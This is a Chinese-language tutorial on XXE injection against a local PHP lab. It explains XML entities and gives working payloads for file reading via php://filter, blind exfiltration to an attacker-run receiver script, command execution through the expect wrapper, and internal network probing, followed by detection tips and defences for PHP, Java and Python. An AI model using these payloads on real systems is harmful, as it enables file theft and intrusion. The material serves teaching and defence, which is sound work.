XXE外部实体注入

学习XXE漏洞,先要了解XML语言

XML:可扩展标记语言
一种用于标记电子文件,使其具有结构性的语言。 设计的宗旨是传输数据,而不是显示数据,XML本身是用来存储数据的纯文本,不会做任何事情。
1.png


XXE: 外部实体注入
属于一种注入类型攻击:XML注入

一个典型任意文件读取攻击:
2.png

1、XML声明:对XML文档进行声明,告诉服务器,这里是XML文档。同php中的<?php ?>类似。
2、DTD部分:定义XML变量。如图中定义变量xxe的值为file:///etc/passwd
3、XML部分:调用XML变量,进行攻击。

造成XXE的原因:php中存在simplexml_load_string()函数,作用是将XML转换为对象。可以理解为使用了这个函数后,php对XML进行了解析。

接下来搭建攻击环境,服务器上创建XXEtest.php:

3.png

正常访问:

4.png

1、任意文件读取
为了读取服务器D:phpStudyWWWflag.php内容

5.png

攻击:改请求包POST格式,插入payload

6.png

7.png

base64解码

8.png

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/flag.php">
%file;
]>

而大多时候,服务器执行了XML并不会有任何回显(Blind XXE)。但我们可以让服务器把执行结果外带出来,需要做的是在公网服务器上创建一个文件 1.xml 用于接收数据:

9.png

1.xml会接收%file传递进来的值,再传给do.php记录下来。%是%的实体编码,避免数据传递引用过程中报错

do.php: 将GET传参的值输出到result.txt中。

<?php file_put_contents("result.txt",$_GET["id"],FILE_APPEND);?>

10.png

没有回显,但我们在公网创建的文件接收到了数据,并将数据写在了result.txt中

11.png

2.命令执行
需要php环境安装except拓展
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % do SYSTEM "except://whoami">
%do;
]>

3.内网探测
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % do SYSTEM "http://192.168.0.7:80">
%do;
]>

检测XXE:
手动:
1、数据以XML形式进行传输时,直接插入payload进行测试
2、数据包请求头中Context-Type的值为application/jason,更改为application/xml或者text/xml,然后插入payload测试

工具:

XXEinjector

防御措施:
1、使用禁用外部实体的方法:

php:

 libxml_disable_entity_loader(true)

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
  xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据关键字

<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC